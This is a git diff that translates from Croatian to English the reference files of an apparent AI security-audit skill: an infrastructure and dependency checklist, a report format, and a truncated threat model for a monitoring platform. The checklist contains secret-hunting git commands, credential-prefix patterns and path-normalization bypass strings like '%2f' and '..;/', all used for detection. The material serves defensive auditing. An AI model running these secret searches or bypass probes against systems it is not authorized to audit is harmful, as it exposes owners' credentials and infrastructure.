-# Kontrolna lista: infrastruktura, repozitorij, ovisnosti
-
-Čitaj `docker/*` (Dockerfile-ove, `nginx*.conf`, `Caddyfile`, `postgres/init/*.sql`),
+# Checklist: infrastructure, repository, dependencies
+
+Read `docker/*` (Dockerfiles, `nginx*.conf`, `Caddyfile`, `postgres/init/*.sql`),
`compose.yml`, `docker-compose.server.yml`, `collector-compose.yml`, `example.env`,
`.dockerignore`, `.gitignore`, `.github/workflows/*.yml`, `requirements*.txt`,
`src/frontend/package.json` + lockfile.
-
-## 1. Dockerfile-ovi
-
-- [ ] `USER` je neprivilegiran u svakoj slici koja to može (docker-proxy i system-helper su
- iznimke zbog socketa/capabilityja: provjeri da je to jedino mjesto i da je obrazloženo).
-- [ ] Bazne slike: pinirane (digest ili barem točna verzija), ne `latest`; minimalne.
-- [ ] Nema tajni u slojevima (`ARG`/`ENV` s tokenima, `COPY .env`, `.git`, `dev.db`, ključevi);
- `.dockerignore` isključuje `.env*`, `.git`, `venv`, `*.db`, testove, `node_modules`.
-- [ ] Nema `curl | sh`, `pip install` bez pinova/hashova za produkcijske ovisnosti, `apt` bez
- `--no-install-recommends` i čišćenja; build ne izvršava nepouzdani kod s mreže.
-- [ ] `HEALTHCHECK`/`CMD` ne pokreće debug način (`--reload`, `--debug`).
-- [ ] Frontend slika: izgrađena u multi-stage, u produkciji nema `node_modules`, dev servera
- ni source mapa koje otkrivaju izvorni kod ako to nije namjera.
-
-## 2. Compose datoteke
-
-Za **svaki servis** zapiši: korisnik, `cap_drop`/`cap_add`, `read_only`,
+
+## 1. Dockerfiles
+
+- [ ] `USER` is unprivileged in every image that allows it (docker-proxy and system-helper are
+ exceptions because of the socket/capabilities: check that these are the only places and
+ that they are justified).
+- [ ] Base images: pinned (digest or at least an exact version), not `latest`; minimal.
+- [ ] No secrets in layers (`ARG`/`ENV` with tokens, `COPY .env`, `.git`, `dev.db`, keys);
+ `.dockerignore` excludes `.env*`, `.git`, `venv`, `*.db`, tests, `node_modules`.
+- [ ] No `curl | sh`, no `pip install` without pins/hashes for production dependencies, no
+ `apt` without `--no-install-recommends` and cleanup; the build does not execute
+ untrusted code from the network.
+- [ ] `HEALTHCHECK`/`CMD` does not start debug mode (`--reload`, `--debug`).
+- [ ] Frontend image: built multi-stage; production has no `node_modules`, dev server, or
+ source maps exposing the source code unless intended.
+## 2. Compose files
+
+For **every service**, record: user, `cap_drop`/`cap_add`, `read_only`,
`security_opt: no-new-privileges`, `privileged`, `network_mode`, `pid`, `ports`, `volumes`,
`environment`/`secrets`.
-
-- [ ] **Objavljeni portovi** vezani su na konkretnu adresu (`127.0.0.1:` ili VPN adresa), ne na
- `0.0.0.0`, osim namjerno javnog frontenda. Docker zaobilazi `ufw`: firewall pravilo nije
- zaštita. Backend, Postgres i docker-proxy nemaju objavljenih portova u server stogu.
-- [ ] **`/var/run/docker.sock` montiran samo u docker-proxy**, nigdje drugdje (backend,
- collector, frontend, helper). Isto za `/`, `/etc`, `/root`, `/home`, `/var/lib/docker`.
-- [ ] Mountovi hosta su `:ro` gdje je moguće; `/hostfs` je read-only; nema `rw` mounta
- povjerljivih direktorija.
-- [ ] Volumen s Unix socketom docker-proxyja dijele **samo** proxy i collector.
-- [ ] `cap_drop: [ALL]` kao zadano; svaki `cap_add` obrazložen (samo `CAP_SYSLOG` za helper).
- Nema `privileged`, `pid: host`, `network_mode: host`, `ipc: host`, `devices` bez razloga.
-- [ ] `read_only: true` + `tmpfs` za potrebno; `no-new-privileges` na svemu.
-- [ ] Mrežna segmentacija: collector-gate nije na mreži reverse proxyja; backend nije na
- mreži kojoj imaju pristup tuđe aplikacije; Postgres samo na internoj mreži;
- `internal: true` gdje izlaz nije potreban.
-- [ ] **Zadane/placeholder tajne:** u compose/`example.env` nema stvarnih ili zadano slabih
- lozinki (`changeme`, `postgres`, `admin`) koje bi ostale u produkciji; obavezne
- vrijednosti koriste `${VAR:?poruka}` da stog ne krene bez njih.
-- [ ] Slike u compose-u za udaljene hostove pinirane po digestu (`COLLECTOR_IMAGE`,
- `DOCKER_PROXY_IMAGE`), a panel ne generira naredbu bez njih.
-- [ ] Postgres: lozinke ne u compose-u u čistom tekstu ako se može `secrets:`/env iz `.env`;
- nema objavljenog 5432.
-- [ ] Healthchecki ne otkrivaju tajne; restart politike ne skrivaju petlju rušenja.
-
+
+- [ ] **Published ports** are bound to a specific address (`127.0.0.1:` or the VPN address),
+ not `0.0.0.0`, except for the intentionally public frontend. Docker bypasses `ufw`: a
+ firewall rule is not protection. The backend, Postgres and docker-proxy have no
+ published ports in the server stack.
+- [ ] **`/var/run/docker.sock` is mounted only into docker-proxy**, nowhere else (backend,
+ collector, frontend, helper). The same goes for `/`, `/etc`, `/root`, `/home`,
+ `/var/lib/docker`.
+- [ ] Host mounts are `:ro` wherever possible; `/hostfs` is read-only; no `rw` mounts of
+ sensitive directories.
+- [ ] The volume holding the docker-proxy Unix socket is shared **only** by the proxy and the
+ collector.
+- [ ] `cap_drop: [ALL]` by default; every `cap_add` justified (only `CAP_SYSLOG` for the
+ helper). No `privileged`, `pid: host`, `network_mode: host`, `ipc: host` or `devices`
+ without a reason.
+- [ ] `read_only: true` + `tmpfs` where needed; `no-new-privileges` on everything.
+- [ ] Network segmentation: the collector gate is not on the reverse proxy's network; the
+ backend is not on a network that other apps can reach; Postgres only on an internal
+ network; `internal: true` where egress is not needed.
+- [ ] **Default/placeholder secrets:** compose/`example.env` contain no real or weak default
+ passwords (`changeme`, `postgres`, `admin`) that would remain in production; required
+ values use `${VAR:?message}` so the stack does not start without them.
+- [ ] Images in compose for remote hosts are pinned by digest (`COLLECTOR_IMAGE`,
+ `DOCKER_PROXY_IMAGE`), and the panel does not generate a command without them.
+- [ ] Postgres: passwords not in plaintext in compose if `secrets:`/env from `.env` is
+ possible; no published 5432.
+- [ ] Healthchecks do not reveal secrets; restart policies do not hide a crash loop.
## 3. nginx (`nginx.conf`, `nginx.strict.conf`, `nginx.collector.conf`)
-
-- [ ] **Javna strana vraća 404 za sve collector endpointe** (register, poll, enroll, ingest,
- helper). Provjeri točne `location` blokove: prefiks vs. točno, regex, razlike u
- kosoj crti, velika/mala slova, `//`, `/./`, `%2f`, `..;/`. Najgori slučaj: put koji
- nginx ne prepoznaje kao zabranjen, a backend ga normalizira u collector endpoint.
-- [ ] `X-Collector-Via` (i slična interna zaglavlja) **postavlja** samo gate, a javna strana
- ga **briše/prepisuje** (`proxy_set_header X-Collector-Via "";`).
-- [ ] `real_ip` / `X-Forwarded-For`: `set_real_ip_from` samo privatni/Docker rasponi,
- `real_ip_recursive` ispravno; nema povjerenja u XFF s javne strane; backend dobiva
- stvarni klijentski IP za rate limit.
-- [ ] **`add_header` nasljeđivanje:** `add_header` u `location` bloku *poništava* sve
- `add_header` iz `server`/`http` razine. Provjeri da svaki `location` koji ima vlastiti
- `add_header` (cache, CORS) ponavlja sigurnosna zaglavlja (CSP, nosniff, frame, HSTS),
- i da su dodana s `always` kako bi vrijedila i za greške.
-- [ ] CSP: bez `unsafe-inline`/`unsafe-eval` za `script-src`, `default-src 'self'`,
- `frame-ancestors 'none'`, `object-src 'none'`, `base-uri 'self'`, `form-action 'self'`;
- dopušteni `style` inline je poznata cijena (React style atributi).
-- [ ] HSTS samo na strict/javnoj konfiguraciji; `server_tokens off`.
-- [ ] `client_max_body_size` ograničen po lokaciji; `client_body_timeout`, `proxy_*_timeout`,
- `limit_req`/`limit_conn` na osjetljivim rutama (login, enroll) kao drugi sloj.
-- [ ] `proxy_pass`: pazi na kosu crtu na kraju (promjena normalizacije puta), prosljeđuju se
- samo potrebna zaglavlja, `proxy_set_header Host` ispravan (backend koristi `Host` za
- provjeru Origina), WebSocket upgrade samo gdje treba.
-- [ ] Nema `autoindex on`, `alias` bez kose crte (traversal), poslužuje li se išta osim
- statičkih datoteka SPA-a (`.map`, `.env`, `.git`)? `try_files` ne otkriva skrivene datoteke.
-- [ ] TLS konfiguracija (ako je nginx terminira): protokoli ≥ TLS1.2, bez slabih šifri.
- Ako TLS terminira Traefik, navedi to kao pretpostavku, ne nalaz.
-- [ ] `Caddyfile`: je li to ostatak/dev konfiguracija? Ako je u produkcijskom putu, pregledaj
- jednako strogo kao nginx.
-
+
+- [ ] **The public side returns 404 for all collector endpoints** (register, poll, enroll,
+ ingest, helper). Check the exact `location` blocks: prefix vs. exact, regex, trailing
+ slash differences, upper/lower case, `//`, `/./`, `%2f`, `..;/`. Worst case: a path that
+ nginx does not recognize as forbidden but that the backend normalizes into a collector
+ endpoint.
+- [ ] `X-Collector-Via` (and similar internal headers) is **set** only by the gate, and the
+ public side **clears/overwrites** it (`proxy_set_header X-Collector-Via "";`).
+- [ ] `real_ip` / `X-Forwarded-For`: `set_real_ip_from` only for private/Docker ranges,
+ `real_ip_recursive` correct; no trust in XFF from the public side; the backend gets the
+ real client IP for rate limiting.
+- [ ] **`add_header` inheritance:** an `add_header` in a `location` block *discards* all
+ `add_header` directives from the `server`/`http` level. Check that every `location`
+ with its own `add_header` (cache, CORS) repeats the security headers (CSP, nosniff,
+ frame, HSTS), and that they are added with `always` so they apply to errors too.
+- [ ] CSP: no `unsafe-inline`/`unsafe-eval` for `script-src`, `default-src 'self'`,
+ `frame-ancestors 'none'`, `object-src 'none'`, `base-uri 'self'`,
+ `form-action 'self'`; allowing inline `style` is a known cost (React style attributes).
+- [ ] HSTS only on the strict/public configuration; `server_tokens off`.
+- [ ] `client_max_body_size` limited per location; `client_body_timeout`,
+ `proxy_*_timeout`, `limit_req`/`limit_conn` on sensitive routes (login, enroll) as a
+ second layer.
+- [ ] `proxy_pass`: watch the trailing slash (it changes path normalization); only the
+ necessary headers are forwarded; `proxy_set_header Host` is correct (the backend uses
+ `Host` for the Origin check); WebSocket upgrade only where needed.
+- [ ] No `autoindex on`, no `alias` without a trailing slash (traversal); is anything served
+ besides the SPA's static files (`.map`, `.env`, `.git`)? `try_files` does not expose
+ hidden files.
+- [ ] TLS configuration (if nginx terminates it): protocols ≥ TLS 1.2, no weak ciphers. If
+ Traefik terminates TLS, state that as an assumption, not a finding.
+- [ ] `Caddyfile`: is it a leftover/dev configuration? If it is on the production path,
+ review it as strictly as nginx.
## 4. Postgres (`docker/postgres/init/*.sql`)
-
-- [ ] Aplikacija se spaja kao korisnik s **minimalnim pravima** (nije superuser, nije vlasnik
- sheme ako migracije nisu potrebne pri radu), odvojen od administrativnog.
-- [ ] Lozinke u init skriptama nisu ugrađene u repozitorij; nema `trust` autentikacije iz
- svih adresa; `pg_hba` ne dopušta vanjske veze.
-- [ ] Nema `CREATE EXTENSION` ni `GRANT ALL` bez razloga.
-
+
+- [ ] The application connects as a user with **minimal privileges** (not superuser, not the
+ schema owner if migrations are not needed at runtime), separate from the
+ administrative one.
+- [ ] Passwords in init scripts are not committed to the repository; no `trust`
+ authentication from all addresses; `pg_hba` does not allow external connections.
+- [ ] No `CREATE EXTENSION` or `GRANT ALL` without a reason.
## 5. GitHub Actions (`.github/workflows/images.yml`)
-
-Ovo je opskrbni lanac slika koje hostovi pokreću s root-ekvivalentnim pristupom.
-
-- [ ] `permissions:` najmanje potrebno (`contents: read`, `packages: write`, `id-token: write`
- samo za job koji potpisuje); nema zadanih širokih dozvola.
-- [ ] **Akcije pinirane na puni commit SHA**, ne na tag (`@v4`) za akcije koje diraju tajne ili
- potpisivanje; provjeri tko ih održava.
-- [ ] Nema `pull_request_target` s checkoutom koda iz PR-a; okidač je samo tag `v*` i/ili
- ručni, ne svaki push/PR iz forka.
-- [ ] **Script injection:** nema `${{ github.event.* }}` / `${{ github.head_ref }}` /
- imena grane ili poruke commita umetnutih izravno u `run:` (prenesi preko `env:`).
-- [ ] Potpisivanje cosignom: *keyless* identitet vezan uz workflow i ref; ispis digesta
- točan; slike se grade iz tagiranog commita; build ne povlači nepinirane ovisnosti bez
- provjere. Opiši kako domaćin **provjerava** potpis (dokumentirano ako `cosign verify`
- nije dio generirane naredbe, to je slabost: potpis koji nitko ne provjerava ne štiti).
-- [ ] Tajne se ne ispisuju (`set -x`, `echo`); nema `secrets: inherit` bez razloga.
-
-## 6. Repozitorij i povijest
-
-- [ ] `.gitignore` pokriva `.env`, `*.db`, `*.sqlite`, ključeve, `venv`, `node_modules`.
+
+This is the supply chain for images that hosts run with root-equivalent access.
+
+- [ ] `permissions:` least required (`contents: read`, `packages: write`, `id-token: write`
+ only for the signing job); no broad default permissions.
+- [ ] **Actions pinned to a full commit SHA**, not a tag (`@v4`), for actions that touch
+ secrets or signing; check who maintains them.
+- [ ] No `pull_request_target` with a checkout of PR code; the trigger is only a `v*` tag
+ and/or manual, not every push/PR from a fork.
+- [ ] **Script injection:** no `${{ github.event.* }}` / `${{ github.head_ref }}` / branch
+ names or commit messages inserted directly into `run:` (pass them via `env:`).
+- [ ] cosign signing: *keyless* identity bound to the workflow and ref; the digest output is
+ correct; images are built from the tagged commit; the build does not pull unpinned
+ dependencies without verification. Describe how the host **verifies** the signature
+ (documented; if `cosign verify` is not part of the generated command, that is a
+ weakness: a signature nobody verifies protects nothing).
+- [ ] Secrets are not printed (`set -x`, `echo`); no `secrets: inherit` without a reason.
+## 6. Repository and history
+
+- [ ] `.gitignore` covers `.env`, `*.db`, `*.sqlite`, keys, `venv`, `node_modules`.
`git ls-files | grep -Ei '\.env$|\.db$|\.sqlite|\.pem$|\.key$|id_rsa|secret|credential'`:
- što je **pod gitom**? (`dev.db` je ranije bio.) `.env` i `example.env` obje postoje:
- provjeri da `example.env` nema stvarne vrijednosti.
-- [ ] **Povijest:** `git log --all --diff-filter=A --name-only | grep -Ei '\.env|\.db|key|secret'`
- i pretraga uzoraka tajni (`git log -p --all -S'SECRET' -S'PASSWORD' -S'TOKEN'` na
- razumnom opsegu). Tajna koja je ikad bila u povijesti smatra se kompromitiranom čak i
- ako je kasnije obrisana; to treba prijaviti uz preporuku rotacije. Ne ispisuj vrijednosti.
-- [ ] Pretraga uzoraka u radnom stablu: ključevi (`AKIA`, `ghp_`, `sk-`, `-----BEGIN`),
- lozinke u kodu, hardkodirani tokeni, `localhost` zaobilaženja autentikacije,
- `TODO`/`FIXME`/`HACK` uz riječi `auth`, `security`, `bypass`, `skip`.
-- [ ] `TESTS.md`, `docs/`, `README.md` ne sadrže stvarne tajne/domene/IP adrese vlasnika.
-- [ ] `SECURITY.md` ima put za prijavu ranjivosti (ima) i točne tvrdnje.
-
-## 7. Ovisnosti
-
-- [ ] `requirements*.txt` i `package-lock.json`: pinirano? Lockfile usklađen s `package.json`?
-- [ ] Ako su dostupni alati (`pip-audit`, `npm audit --omit=dev`), pokreni ih **samo uz
- korisnikovu potvrdu** (šalju popis paketa prema registryju). Ako nisu pokrenuti,
- napiši to u pokrivenosti: nemoj tvrditi da su ovisnosti "bez poznatih ranjivosti".
-- [ ] Nepotrebne/napuštene ovisnosti, ovisnosti iz URL-a/gita, `postinstall` skripte,
- typosquat imena. Dev ovisnosti ne ulaze u produkcijsku sliku.
+ what is **tracked by git**? (`dev.db` was at one point.) Both `.env` and `example.env`
+ exist: check that `example.env` contains no real values.
+- [ ] **History:** `git log --all --diff-filter=A --name-only | grep -Ei '\.env|\.db|key|secret'`
+ and a search for secret patterns (`git log -p --all -S'SECRET' -S'PASSWORD' -S'TOKEN'`
+ over a reasonable range). A secret that was ever in the history is considered
+ compromised even if it was later deleted; report it with a recommendation to rotate.
+ Do not print values.
+- [ ] Pattern search in the working tree: keys (`AKIA`, `ghp_`, `sk-`, `-----BEGIN`),
+ passwords in code, hardcoded tokens, `localhost` authentication bypasses,
+ `TODO`/`FIXME`/`HACK` next to the words `auth`, `security`, `bypass`, `skip`.
+- [ ] `TESTS.md`, `docs/`, `README.md` contain no real secrets/domains/IP addresses of the
+ owner.
+- [ ] `SECURITY.md` has a vulnerability reporting path (it does) and accurate claims.
+## 7. Dependencies
+
+- [ ] `requirements*.txt` and `package-lock.json`: pinned? Is the lockfile in sync with
+ `package.json`?
+- [ ] If the tools are available (`pip-audit`, `npm audit --omit=dev`), run them **only with
+ the user's confirmation** (they send the package list to the registry). If they were
+ not run, say so in the coverage section: do not claim the dependencies have "no known
+ vulnerabilities".
+- [ ] Unnecessary/abandoned dependencies, dependencies from a URL/git, `postinstall` scripts,
+ typosquat names. Dev dependencies do not end up in the production image.
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/report-format.md b/.claude/skills/security-audit/references/report-format.md
index 87cf5b8..2fc84e3 100644
--- a/.claude/skills/security-audit/references/report-format.md
+++ b/.claude/skills/security-audit/references/report-format.md
@@ -1,103 +1,104 @@
-# Format izvještaja
-
-Piši na hrvatskom (korisnik tako komunicira), a tehničke pojmove, imena funkcija i kod ostavi
-kako jesu. Bez uvoda i bez hvaljenja. Najvažnije prvo.
-
-## Struktura
-
-### 1. Sažetak
-
-- Opseg koji je stvarno pregledan (jedna rečenica) i datum/commit (`git rev-parse --short HEAD`,
- napomena ako ima nepohranjenih promjena).
-- Jedan redak s brojem nalaza po razini (npr. "2 visoka, 3 srednja, 4 niska"), uz koliko ih je `POTVRĐENO`, a koliko `TREBA PROVJERU`.
-- Jedna rečenica o **najvažnijem** nalazu ili "nisam našao iskoristive propuste u pregledanom
- opsegu" ako ih nema.
-
-### 2. Tablica nalaza (obavezna)
-
-Svi nalazi **moraju** biti prikazani u jednoj tablici, **sortirani prema razini rizika, od
-najvišeg prema najnižem**: KRITIČNO, VISOKO, SREDNJE, NISKO, INFO. Unutar iste razine
-`POTVRĐENO` ide prije `TREBA PROVJERU`, a zatim po iskoristivosti (lakše iskoristivo prvo).
-Ne grupiraj po područjima (backend, infra, ...) i ne prikazuj nalaze u prozi umjesto tablice.
-
-| ID | Rizik | Nalaz | Lokacija | Napadač | Učinak | Status | Popravak (jedna rečenica) |
+# Report format
+
+Write in the language the user writes in, and leave technical terms, function names and code
+as they are. No introduction and no praise. Most important first.
+
+## Structure
+
+### 1. Summary
+
+- The scope that was actually reviewed (one sentence) and the date/commit
+ (`git rev-parse --short HEAD`, with a note if there are uncommitted changes).
+- One line with the number of findings per level (e.g. "2 high, 3 medium, 4 low"), plus how
+ many are `CONFIRMED` and how many `NEEDS VERIFICATION`.
+- One sentence about the **most important** finding, or "I found no exploitable
+ vulnerabilities in the reviewed scope" if there are none.
+### 2. Findings table (mandatory)
+
+All findings **must** be shown in a single table, **sorted by risk level, from highest to
+lowest**: CRITICAL, HIGH, MEDIUM, LOW, INFO. Within the same level, `CONFIRMED` comes before
+`NEEDS VERIFICATION`, then by exploitability (easier to exploit first). Do not group by area
+(backend, infra, ...) and do not present findings as prose instead of a table.
+
+| ID | Risk | Finding | Location | Attacker | Impact | Status | Fix (one sentence) |
|---|---|---|---|---|---|---|---|
-| S-01 | KRITIČNO | Kratak naslov | [main.py:123](src/backend/main.py#L123) | profil iz threat-modela | Pristup | POTVRĐENO | Što promijeniti |
-| S-02 | VISOKO | ... | ... | ... | DoS | TREBA PROVJERU | ... |
-
-Pravila za tablicu:
-
-- Stupac "Učinak" kaže što napadač **stvarno dobiva**, da se odmah vidi vodi li nalaz do upada.
- Koristi samo ove vrijednosti, a za više njih odvoji ih zarezom (najteža prva):
- `Izvršavanje koda` (kod ili naredbe na backendu, hostu ili kolektoru), `Pristup` (preuzimanje
- računa, sesije, admin prava, zaobilaženje autentikacije ili 2FA), `Krađa podataka`
- (čitanje podataka ili tajni koje napadač ne smije vidjeti), `Integritet` (podmetanje, mijenjanje
- ili utišavanje podataka i alarma), `DoS` (rušenje ili usporavanje, zaključavanje računa),
- `Izviđanje` (otkriva postojanje računa, strukturu ili konfiguraciju bez izravne štete).
- Ocjenjuj učinak u najgorem realnom slučaju, a ne u idealnom za napadača; ako ovisi o uvjetu
- koji nisi provjerio, napiši ga u detaljima.
-
-- Jedan redak po nalazu; ID-evi `S-01`, `S-02`, ... dodjeljuju se **nakon sortiranja**, pa
- redni broj odgovara poretku rizika.
-- Stupac "Lokacija" sadrži klikabilne markdown linkove (najviše dva; ostale navedi u
- detaljima).
-- Ćelije su kratke (jedan redak). Sve duže ide u detalje ispod.
-- Ako nema nalaza neke razine, ne dodaj prazne retke za nju.
-- Ista tablica (isti stupci, isti poredak) vrijedi i za rezultate paralelnih agenata nakon
- spajanja: izvještaj je jedna tablica, ne četiri.
-
-### 3. Detalji nalaza
-
-Isti redoslijed kao u tablici. Svaki nalaz ima ovaj oblik (bez dodatnih naslova):
-
+| S-01 | CRITICAL | Short title | [main.py:123](src/backend/main.py#L123) | profile from the threat model | Access | CONFIRMED | What to change |
+| S-02 | HIGH | ... | ... | ... | DoS | NEEDS VERIFICATION | ... |
+
+Table rules:
+
+- The "Impact" column states what the attacker **actually gains**, so it is immediately clear
+ whether the finding leads to a breach. Use only these values, and for several of them
+ separate with commas (most severe first): `Code execution` (code or commands on the
+ backend, host or collector), `Access` (taking over an account, session or admin rights,
+ bypassing authentication or 2FA), `Data theft` (reading data or secrets the attacker must
+ not see), `Integrity` (planting, altering or silencing data and alerts), `DoS` (crashing or
+ slowing down, locking accounts), `Reconnaissance` (reveals the existence of accounts,
+ structure or configuration without direct harm). Rate impact in the worst realistic case,
+ not the case ideal for the attacker; if it depends on a condition you did not verify, state
+ it in the details.
+- One row per finding; IDs `S-01`, `S-02`, ... are assigned **after sorting**, so the number
+ matches the risk order.
+- The "Location" column contains clickable markdown links (at most two; list the rest in the
+ details).
+- Cells are short (one line). Anything longer goes in the details below.
+- If there are no findings at some level, do not add empty rows for it.
+- The same table (same columns, same order) applies to the results of parallel agents after
+ merging: the report is one table, not four.
+### 3. Finding details
+
+Same order as the table. Each finding has this shape (no extra headings):
+
```
-### [VISOKO] S-02 · Kratak, konkretan naslov (POTVRĐENO)
-
-**Gdje:** [datoteka.py:123](putanja/datoteka.py#L123), poziva ga [drugi.py:45](putanja/drugi.py#L45)
-**Napadač:** tko (npr. prijavljeni korisnik bez admin prava / VPN peer / kompromitirani kolektor)
-
-**Problem:** što je pogrešno, jednom-dvjema rečenicama.
-
-**Scenarij:** korak po korak što napadač pošalje i što dobije.
-
-**Zašto postojeće zaštite ne pomažu:** koje si kontrole provjerio i zašto ih ovo zaobilazi.
-
-**Popravak:** konkretna promjena (i test koji je treba pokriti), s kratkim isječkom koda ako
-pomaže.
-
-**Dokaz:** test/skripta koju si pokrenuo i rezultat, ili "nije pokrenuto: <razlog>".
+### [HIGH] S-02 · Short, concrete title (CONFIRMED)
+
+**Where:** [file.py:123](path/file.py#L123), called from [other.py:45](path/other.py#L45)
+**Attacker:** who (e.g. a logged-in non-admin user / a VPN peer / a compromised collector)
+
+**Problem:** what is wrong, in one or two sentences.
+
+**Scenario:** step by step, what the attacker sends and what they get.
+
+**Why existing protections do not help:** which controls you checked and why this bypasses them.
+
+**Fix:** the concrete change (and the test that should cover it), with a short code snippet
+if it helps.
+
+**Proof:** the test/script you ran and the result, or "not run: <reason>".
```
-
-ID je isti kao u tablici nalaza.
-Za `TREBA PROVJERU` umjesto "Dokaz" napiši **Što treba provjeriti** (točno što i kako).
-
-### 4. Tvrdnje iz dokumentacije koje kod ne podržava
-
-Tablica: tvrdnja (citat + mjesto u `SECURITY.md`/`docs/`) | što kod zapravo radi | datoteka:redak.
-Izostavi odlomak ako nema razlika.
-
-### 5. Očvršćivanje (nije ranjivost)
-
-Kratke stavke (jedan redak) za stvari koje nisu iskoristive same za sebe, ali bi smanjile
-rizik. Ne miješaj ih s nalazima.
-
-### 6. Pokrivenost
-
-- **Pregledano:** popis datoteka/područja koja si pročitao u cijelosti.
-- **Nije pregledano i zašto:** (npr. ovisnosti bez audit alata, živa konfiguracija
- Traefika/OpenVPN-a izvan repozitorija, dinamičko testiranje).
-- **Pretpostavke** o okruženju na koje se nalazi oslanjaju.
-
-### 7. Sljedeći korak
-
-Jedna rečenica: predloži redoslijed popravljanja i pitaj želi li korisnik da počneš. Ništa
-ne mijenjaj dok ne odgovori.
-
-## Pravila stila
-
-- Nalazi su činjenice s dokazom; nagađanje označi kao `TREBA PROVJERU`.
-- Ne duplicirati: isti uzrok na više mjesta = jedan nalaz s popisom lokacija.
-- Ne pretjeruj s ozbiljnošću radi dojma, ali ni ne ublažavaj (korisnik izričito traži
- strogu procjenu). Kad dvoji, napiši obje razine i obrazloži jednom rečenicom.
-- Ne ispisuj vrijednosti tajni; navedi samo lokaciju i vrstu.
-- Bez emojija.
+
+The ID is the same as in the findings table.
+For `NEEDS VERIFICATION`, instead of "Proof" write **What needs to be checked** (exactly what
+and how).
+
+### 4. Documentation claims the code does not support
+
+Table: claim (quote + location in `SECURITY.md`/`docs/`) | what the code actually does |
+file:line. Omit the section if there are no discrepancies.
+
+### 5. Hardening (not a vulnerability)
+
+Short bullets (one line each) for things that are not exploitable on their own but would
+reduce risk. Do not mix them with findings.
+
+### 6. Coverage
+
+- **Reviewed:** list of files/areas you read in full.
+- **Not reviewed, and why:** (e.g. dependencies without audit tools, live Traefik/OpenVPN
+ configuration outside the repository, dynamic testing).
+- **Assumptions** about the environment that the findings rely on.
+### 7. Next step
+
+One sentence: propose a fix order and ask whether the user wants you to start. Change nothing
+until they reply.
+
+## Style rules
+
+- Findings are facts with evidence; mark speculation as `NEEDS VERIFICATION`.
+- No duplicates: the same root cause in several places = one finding with a list of
+ locations.
+- Do not inflate severity for effect, but do not downplay it either (the user explicitly
+ wants a strict assessment). When torn, state both levels and justify in one sentence.
+- Do not print secret values; give only the location and type.
+- No emoji.
+
\ No newline at end of file
diff --git a/.claude/skills/security-audit/references/threat-model.md b/.claude/skills/security-audit/references/threat-model.md
index 26b6f22..b87b1aa 100644
--- a/.claude/skills/security-audit/references/threat-model.md
+++ b/.claude/skills/security-audit/references/threat-model.md
@@ -1,89 +1,90 @@
-# Model prijetnji (Infradeck)
-
-Sažetak arhitekture i povjerenja, izveden iz `SECURITY.md` i koda. Ako se kod i ovaj dokument
-razilaze, **vjeruj kodu** i to prijavi kao nalaz o dokumentaciji.
-
-## Komponente i što dodiruju
-
-| Komponenta | Gdje | Doseže | Povjerenje |
+# Threat model (Infradeck)
+
+A summary of the architecture and trust boundaries, derived from `SECURITY.md` and the code.
+If the code and this document disagree, **trust the code** and report it as a documentation
+finding.
+
+## Components and what they touch
+
+| Component | Where | Reaches | Trust |
|---|---|---|---|
-| Frontend (nginx + React SPA) | `docker/nginx*.conf`, `src/frontend` | javni listener; proxy prema backendu | javno dostupan |
-| Backend (FastAPI) | `src/backend` | Postgres, interni mrežni segment | obrađuje sve ulaze |
-| Postgres | `docker/postgres/init` | samo backend | sadrži hashove, šifrirane TOTP tajne, podatke o hostovima |
-| Collector gate | `docker/nginx.collector.conf` | backend; jedan port na VPN adresi | jedini put do collector endpointa |
-| Collector | `src/collector/collector.py` | `/proc` hosta, host FS read-only (`/hostfs`), Docker proxy, backend preko HTTP-a | pokreće se na udaljenim hostovima, može biti kompromitiran |
-| Docker proxy | `src/collector/docker_proxy.py` | Docker socket (uid 0), Unix socket prema collectoru | drži root-ekvivalentan pristup; mora ostati minimalan |
-| System helper (opcionalno) | `src/collector/system_helper.py` | kernel log, wtmp, `CAP_SYSLOG` | privilegiran; njegov izlaz je nepouzdan |
-| Incident agent (LLM) | `src/agent/` (`tools/`, `investigate.py`, `diagnosis.py`, `chat.py`, `masking.py`, `safety.py`, `providers/`, `worker.py`) | read-only alati nad bazom Infradecka; vanjski LLM pružatelj (Anthropic, OpenAI, Gemini) s ključem šifriranim u bazi | ulaz uključuje podatke s hosta; sve što ide pružatelju prolazi `masking.py` |
-| CI | `.github/workflows/images.yml` | GHCR, cosign | opskrbni lanac za slike koje hostovi izvršavaju |
-
-Izvan repozitorija (nisu u opsegu, ali ih treba imati na umu kao pretpostavke): Traefik pred
-frontendom, OpenVPN koji nosi promet kolektora, GHCR paketi.
-
-## Profili napadača
-
-Za svaki nalaz odredi koji ga profil može iskoristiti.
-
-1. **Anonimni korisnik interneta** na javnom listeneru. Doseže samo dashboard i njegov API.
- Collector endpointi (register, poll, enroll, ingest) na toj strani **ne smiju postojati**.
-2. **Prijavljeni korisnik bez admin prava.** Po dizajnu vidi sve monitoring podatke svih
- servera. Pitanje je može li *mijenjati* išta, vidjeti tuđe račune/sesije/konverzacije,
- ili postati admin.
-3. **Susjedna web aplikacija na istoj domeni/podlozi** (sibling subdomain iza istog reverse
- proxyja). Ista "site", pa `SameSite=Lax` ne štiti od zahtjeva koji mijenjaju stanje.
- Zaštita je provjera `Origin` / `Sec-Fetch-Site`.
-4. **Peer na VPN-u.** Doseže collector gate. Bez valjanog join tokena ne smije ni zatražiti
- pridruživanje; s njim čeka admin odobrenje; ingest traži token servera.
-5. **Kompromitirani kolektor.** Kontrolira sve što prijavljuje (imena kontejnera, mountovi,
- portovi, događaji). Backend mu ne smije vjerovati: tipovi, duljine, rasponi, brojevi,
- limiti po check-inu i po satu. Ne smije moći utjecati na druge servere ni na dashboard.
-6. **Kompromitirani ili zloćudni kontejner na hostu / susjed na Docker mreži.** Može
- pokušati doći do backenda mimo nginxa (lažiranje `X-Collector-Via`, `X-Forwarded-For`),
- do Unix socketa docker proxyja ili do volumena koji ne smije dijeliti.
-7. **Kompromitirani dashboard.** Ne smije moći natjerati hostove da izvrše kod (dashboard
- ne poslužuje kod), ni usmjeriti sondiranja na proizvoljne mete (mete dolaze iz okoline
- kolektora).
-8. **Opskrbni lanac.** Ovisnosti (pip, npm), bazne slike, GitHub Actions, workflow
- dozvole, nepodpisane ili nepinirane slike.
-9. **Hostilni podaci s nadziranog hosta.** Imena kontejnera, putanje mountova, linije
- kernel loga, wtmp, `/etc/os-release`. Napadač s ograničenim pristupom hostu može
- utjecati na te stringove. Putovi: stored XSS, injekcija u ključeve/upite, prekoračenje
